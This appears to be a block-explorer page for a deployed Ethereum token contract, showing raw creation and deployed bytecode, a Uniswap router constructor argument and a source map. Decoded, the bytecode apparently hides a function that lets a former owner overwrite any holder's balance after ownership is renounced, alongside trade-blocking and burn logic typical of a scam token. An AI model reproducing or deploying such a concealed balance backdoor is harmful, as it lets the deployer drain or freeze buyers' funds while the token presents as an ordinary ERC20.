ffffffff168273ffffffffffffffffffffffffffffffffffffffff1603156115bb576009548161156d846106ad565b6115779190611f6a565b11156115b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115af90612610565b60405180910390fd5b5b5b5b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361162e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162590612346565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361169c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611693906123d4565b60405180910390fd5b6116a7848484611b31565b5f60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508281101561172b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117229061269e565b60405180910390fd5b82810360025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550818361177b9190611f37565b92508160045f82825461178e9190611f37565b925050819055508260025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546117e19190611f6a565b9250508190555061dead73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118479190611cf1565b60405180910390a38373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516118ac9190611cf1565b60405180910390a35050505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611929576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192090612346565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611997576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198e906123d4565b60405180910390fd5b6119a2838383611b31565b5f60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611a26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a1d9061269e565b60405180910390fd5b8181611a329190611f37565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611abf9190611f6a565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b239190611cf1565b60405180910390a350505050565b505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611b6d578082015181840152602081019050611b52565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611b9282611b36565b611b9c8185611b40565b9350611bac818560208601611b50565b611bb581611b78565b840191505092915050565b5f6020820190508181035f830152611bd88184611b88565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611c0d82611be4565b9050919050565b611c1d81611c03565b8114611c27575f80fd5b50565b5f81359050611c3881611c14565b92915050565b5f819050919050565b611c5081611c3e565b8114611c5a575f80fd5b50565b5f81359050611c6b81611c47565b92915050565b5f8060408385031215611c8757611c86611be0565b5b5f611c9485828601611c2a565b9250506020611ca585828601611c5d565b9150509250929050565b5f8115159050919050565b611cc381611caf565b82525050565b5f602082019050611cdc5f830184611cba565b92915050565b611ceb81611c3e565b82525050565b5f602082019050611d045f830184611ce2565b92915050565b5f805f60608486031215611d2157611d20611be0565b5b5f611d2e86828701611c2a565b9350506020611d3f86828701611c2a565b9250506040611d5086828701611c5d565b9150509250925092565b5f60ff82169050919050565b611d6f81611d5a565b82525050565b5f602082019050611d885f830184611d66565b92915050565b5f60208284031215611da357611da2611be0565b5b5f611db084828501611c2a565b91505092915050565b611dc281611c03565b82525050565b5f602082019050611ddb5f830184611db9565b92915050565b5f8060408385031215611df757611df6611be0565b5b5f611e0485828601611c2a565b9250506020611e1585828601611c2a565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611e6357607f821691505b602082108103611e7657611e75611e1f565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f611ed6602883611b40565b9150611ee182611e7c565b604082019050919050565b5f6020820190508181035f830152611f0381611eca565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611f4182611c3e565b9150611f4c83611c3e565b9250828203905081811115611f6457611f63611f0a565b5b92915050565b5f611f7482611c3e565b9150611f7f83611c3e565b9250828201905080821115611f9757611f96611f0a565b5b92915050565b5f819050919050565b611fb7611fb282611c3e565b611f9d565b82525050565b5f611fc88284611fa6565b60208201915081905092915050565b5f8160601b9050919050565b5f611fed82611fd7565b9050919050565b5f611ffe82611fe3565b9050919050565b61201661201182611c03565b611ff4565b82525050565b5f6120278284612005565b60148201915081905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f612090602583611b40565b915061209b82612036565b604082019050919050565b5f6020820190508181035f8301526120bd81612084565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f61211e602683611b40565b9150612129826120c4565b604082019050919050565b5f6020820190508181035f83015261214b81612112565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6121ac602483611b40565b91506121b782612152565b604082019050919050565b5f6020820190508181035f8301526121d9816121a0565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61223a602283611b40565b9150612245826121e0565b604082019050919050565b5f6020820190508181035f8301526122678161222e565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6122a2602083611b40565b91506122ad8261226e565b602082019050919050565b5f6020820190508181035f8301526122cf81612296565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612330602583611b40565b915061233b826122d6565b604082019050919050565b5f6020820190508181035f83015261235d81612324565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6123be602383611b40565b91506123c982612364565b604082019050919050565b5f6020820190508181035f8301526123eb816123b2565b9050919050565b7f45524332303a2064697361626c6520726f75746572206465666c6174696f6e005f82015250565b5f612426601f83611b40565b9150612431826123f2565b602082019050919050565b5f6020820190508181035f8301526124538161241a565b9050919050565b5f61246482611c3e565b915061246f83611c3e565b925082820261247d81611c3e565b9150828204841483151761249457612493611f0a565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6124d282611c3e565b91506124dd83611c3e565b9250826124ed576124ec61249b565b5b828204905092915050565b7f416d6f756e742065786365656473206d617800000000000000000000000000005f82015250565b5f61252c601283611b40565b9150612537826124f8565b602082019050919050565b5f6020820190508181035f83015261255981612520565b9050919050565b5f8151905061256e81611c14565b92915050565b5f6020828403121561258957612588611be0565b5b5f61259684828501612560565b91505092915050565b5f6040820190506125b25f830185611db9565b6125bf6020830184611db9565b9392505050565b7f4d617820686f6c64696e67206578636565646564206d617800000000000000005f82015250565b5f6125fa601883611b40565b9150612605826125c6565b602082019050919050565b5f6020820190508181035f830152612627816125ee565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f612688602683611b40565b91506126938261262e565b604082019050919050565b5f6020820190508181035f8301526126b58161267c565b905091905056fea264697066735822122035fba75d756fc93d88477e7667b7a81b76bc3868b225bba94443fc25bad9a40a64736f6c634300081600330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

Deployed Bytecode

0x608060405234801561000f575f80fd5b506004361061012a575f3560e01c806370a08231116100ab578063a457c2d71161006f578063a457c2d714610334578063a9059cbb14610364578063dd62ed3e14610394578063eb20957e146103c4578063f2fde38b146103e25761012a565b806370a08231146102685780638da5cb5b1461029857806390ec57f1146102b657806395d89b41146102e657806398636f32146103045761012a565b8063313ce567116100f2578063313ce567146101d457806339509351146101f257806344489ad1146102225780635cc4db7514610240578063622565891461025e5761012a565b806306fdde031461012e578063095ea7b31461014c57806317cbe1971461017c57806318160ddd1461018657806323b872dd146101a4575b5f80fd5b6101366103fe565b6040516101439190611bc0565b60405180910390f35b61016660048036038101906101619190611c71565b61048e565b6040516101739190611cc9565b60405180910390f35b6101846104ab565b005b61018e6104be565b60405161019b9190611cf1565b60405180910390f35b6101be60048036038101906101b99190611d0a565b6104c7565b6040516101cb9190611cc9565b60405180910390f35b6101dc6105c2565b6040516101e99190611d75565b60405180910390f35b61020c60048036038101906102079190611c71565b6105ca565b6040516102199190611cc9565b60405180910390f35b61022a610671565b6040516102379190611cc9565b60405180910390f35b610248610683565b6040516102559190611cf1565b60405180910390f35b610266610689565b005b610282600480360381019061027d9190611d8e565b6106ad565b60405161028f9190611cf1565b60405180910390f35b6102a06106f3565b6040516102ad9190611dc8565b60405180910390f35b6102d060048036038101906102cb9190611c71565b61071a565b6040516102dd9190611cf1565b60405180910390f35b6102ee61080f565b6040516102fb9190611bc0565b60405180910390f35b61031e60048036038101906103199190611d8e565b61089f565b60405161032b9190611cc9565b60405180910390f35b61034e60048036038101906103499190611c71565b6108bc565b60405161035b9190611cc9565b60405180910390f35b61037e60048036038101906103799190611c71565b6109ab565b60405161038b9190611cc9565b60405180910390f35b6103ae60048036038101906103a99190611de1565b6109c8565b6040516103bb9190611cf1565b60405180910390f35b6103cc610a4a565b6040516103d99190611cf1565b60405180910390f35b6103fc60048036038101906103f79190611d8e565b610a50565b005b60606005805461040d90611e4c565b80601f016020809104026020016040519081016040528092919081815260200182805461043990611e4c565b80156104845780601f1061045b57610100808354040283529160200191610484565b820191905f5260205f20905b81548152906001019060200180831161046757829003601f168201915b5050505050905090565b5f6104a161049a610ad2565b8484610ad9565b6001905092915050565b6104b3610c9c565b6104bc5f610d1a565b565b5f600454905090565b5f6104d3848484610e1b565b5f60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61051a610ad2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610599576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059090611eec565b60405180910390fd5b6105b6856105a5610ad2565b85846105b19190611f37565b610ad9565b60019150509392505050565b5f6009905090565b5f6106676105d6610ad2565b848460035f6105e3610ad2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546106629190611f6a565b610ad9565b6001905092915050565b60075f9054906101000a900460ff1681565b60095481565b610691610c9c565b600160075f6101000a81548160ff021916908315150217905550565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f803390505f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505f426040516020016107569190611fbd565b604051602081830303815290604052805190602001205f1c90505f83604051602001610782919061201c565b6040516020818303038152906040528051906020012090505f836040516020016107ac919061201c565b6040516020818303038152906040528051906020012090505f875f1b90505f84835f1c1885855f1c1814905080156107f6576107e88a83611105565b975050505050505050610809565b6107ff8a611199565b9750505050505050505b92915050565b60606006805461081e90611e4c565b80601f016020809104026020016040519081016040528092919081815260200182805461084a90611e4c565b80156108955780601f1061086c57610100808354040283529160200191610895565b820191905f5260205f20905b81548152906001019060200180831161087857829003601f168201915b5050505050905090565b600a602052805f5260405f205f915054906101000a900460ff1681565b5f8060035f6108c9610ad2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610983576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097a906120a6565b60405180910390fd5b6109a061098e610ad2565b85858461099b9190611f37565b610ad9565b600191505092915050565b5f6109be6109b7610ad2565b8484610e1b565b6001905092915050565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60085481565b610a58610c9c565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610ac6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610abd90612134565b60405180910390fd5b610acf81610d1a565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3e906121c2565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bb5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bac90612250565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c8f9190611cf1565b60405180910390a3505050565b610ca4610ad2565b73ffffffffffffffffffffffffffffffffffffffff16610cc26106f3565b73ffffffffffffffffffffffffffffffffffffffff1614610d18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0f906122b8565b60405180910390fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8090612346565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ef7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eee906123d4565b60405180910390fd5b610f028383836111e8565b5f81031561110057600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015610fa85750600a5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156110f4575f610fd8600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166106ad565b14611018576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100f9061243c565b60405180910390fd5b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806110bf5750600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156110f3575f6064600b54836110d5919061245a565b6110df91906124c8565b90506110ed848484846115c0565b50611100565b5b6110ff8383836118bb565b5b505050565b5f805f80845f1c181790508060025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205491505092915050565b5f8060025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490505f81168118915050919050565b60075f9054906101000a900460ff166115ba57600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156112995750600a5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156115b9576008548111156112e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112da90612542565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff16600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff160361150b57600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156113a1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113c59190612574565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561144b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061146f9190612574565b6040518363ffffffff1660e01b815260040161148c92919061259f565b602060405180830381865afa1580156114a7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906114cb9190612574565b600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603156115bb576009548161156d846106ad565b6115779190611f6a565b11156115b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115af90612610565b60405180910390fd5b5b5b5b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361162e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162590612346565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361169c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611693906123d4565b60405180910390fd5b6116a7848484611b31565b5f60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508281101561172b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117229061269e565b60405180910390fd5b82810360025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550818361177b9190611f37565b92508160045f82825461178e9190611f37565b925050819055508260025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546117e19190611f6a565b9250508190555061dead73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118479190611cf1565b60405180910390a38373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516118ac9190611cf1565b60405180910390a35050505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611929576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192090612346565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611997576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198e906123d4565b60405180910390fd5b6119a2838383611b31565b5f60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611a26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a1d9061269e565b60405180910390fd5b8181611a329190611f37565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611abf9190611f6a565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b239190611cf1565b60405180910390a350505050565b505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611b6d578082015181840152602081019050611b52565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611b9282611b36565b611b9c8185611b40565b9350611bac818560208601611b50565b611bb581611b78565b840191505092915050565b5f6020820190508181035f830152611bd88184611b88565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611c0d82611be4565b9050919050565b611c1d81611c03565b8114611c27575f80fd5b50565b5f81359050611c3881611c14565b92915050565b5f819050919050565b611c5081611c3e565b8114611c5a575f80fd5b50565b5f81359050611c6b81611c47565b92915050565b5f8060408385031215611c8757611c86611be0565b5b5f611c9485828601611c2a565b9250506020611ca585828601611c5d565b9150509250929050565b5f8115159050919050565b611cc381611caf565b82525050565b5f602082019050611cdc5f830184611cba565b92915050565b611ceb81611c3e565b82525050565b5f602082019050611d045f830184611ce2565b92915050565b5f805f60608486031215611d2157611d20611be0565b5b5f611d2e86828701611c2a565b9350506020611d3f86828701611c2a565b9250506040611d5086828701611c5d565b9150509250925092565b5f60ff82169050919050565b611d6f81611d5a565b82525050565b5f602082019050611d885f830184611d66565b92915050565b5f60208284031215611da357611da2611be0565b5b5f611db084828501611c2a565b91505092915050565b611dc281611c03565b82525050565b5f602082019050611ddb5f830184611db9565b92915050565b5f8060408385031215611df757611df6611be0565b5b5f611e0485828601611c2a565b9250506020611e1585828601611c2a565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611e6357607f821691505b602082108103611e7657611e75611e1f565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f611ed6602883611b40565b9150611ee182611e7c565b604082019050919050565b5f6020820190508181035f830152611f0381611eca565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611f4182611c3e565b9150611f4c83611c3e565b9250828203905081811115611f6457611f63611f0a565b5b92915050565b5f611f7482611c3e565b9150611f7f83611c3e565b9250828201905080821115611f9757611f96611f0a565b5b92915050565b5f819050919050565b611fb7611fb282611c3e565b611f9d565b82525050565b5f611fc88284611fa6565b60208201915081905092915050565b5f8160601b9050919050565b5f611fed82611fd7565b9050919050565b5f611ffe82611fe3565b9050919050565b61201661201182611c03565b611ff4565b82525050565b5f6120278284612005565b60148201915081905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f612090602583611b40565b915061209b82612036565b604082019050919050565b5f6020820190508181035f8301526120bd81612084565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f61211e602683611b40565b9150612129826120c4565b604082019050919050565b5f6020820190508181035f83015261214b81612112565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6121ac602483611b40565b91506121b782612152565b604082019050919050565b5f6020820190508181035f8301526121d9816121a0565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61223a602283611b40565b9150612245826121e0565b604082019050919050565b5f6020820190508181035f8301526122678161222e565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6122a2602083611b40565b91506122ad8261226e565b602082019050919050565b5f6020820190508181035f8301526122cf81612296565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612330602583611b40565b915061233b826122d6565b604082019050919050565b5f6020820190508181035f83015261235d81612324565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6123be602383611b40565b91506123c982612364565b604082019050919050565b5f6020820190508181035f8301526123eb816123b2565b9050919050565b7f45524332303a2064697361626c6520726f75746572206465666c6174696f6e005f82015250565b5f612426601f83611b40565b9150612431826123f2565b602082019050919050565b5f6020820190508181035f8301526124538161241a565b9050919050565b5f61246482611c3e565b915061246f83611c3e565b925082820261247d81611c3e565b9150828204841483151761249457612493611f0a565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6124d282611c3e565b91506124dd83611c3e565b9250826124ed576124ec61249b565b5b828204905092915050565b7f416d6f756e742065786365656473206d617800000000000000000000000000005f82015250565b5f61252c601283611b40565b9150612537826124f8565b602082019050919050565b5f6020820190508181035f83015261255981612520565b9050919050565b5f8151905061256e81611c14565b92915050565b5f6020828403121561258957612588611be0565b5b5f61259684828501612560565b91505092915050565b5f6040820190506125b25f830185611db9565b6125bf6020830184611db9565b9392505050565b7f4d617820686f6c64696e67206578636565646564206d617800000000000000005f82015250565b5f6125fa601883611b40565b9150612605826125c6565b602082019050919050565b5f6020820190508181035f830152612627816125ee565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f612688602683611b40565b91506126938261262e565b604082019050919050565b5f6020820190508181035f8301526126b58161267c565b905091905056fea264697066735822122035fba75d756fc93d88477e7667b7a81b76bc3868b225bba94443fc25bad9a40a64736f6c63430008160033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

-----Decoded View---------------
Arg [0] : router (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d


Deployed Bytecode Sourcemap

12215:2642:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5443:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7609:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1065:108;;;:::i;:::-;;6562;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7784:422;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6405:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8214:215;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12473:20;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12539:31;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14778:76;;;:::i;:::-;;6733:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;816:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10234:734;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5662:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12577:43;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8435:377;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7073:175;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7311:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12500:32;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1185:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5443:100;5497:13;5530:5;5523:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5443:100;:::o;7609:169::-;7692:4;7709:39;7718:12;:10;:12::i;:::-;7732:7;7741:6;7709:8;:39::i;:::-;7766:4;7759:11;;7609:169;;;;:::o;1065:108::-;771:13;:11;:13::i;:::-;1135:3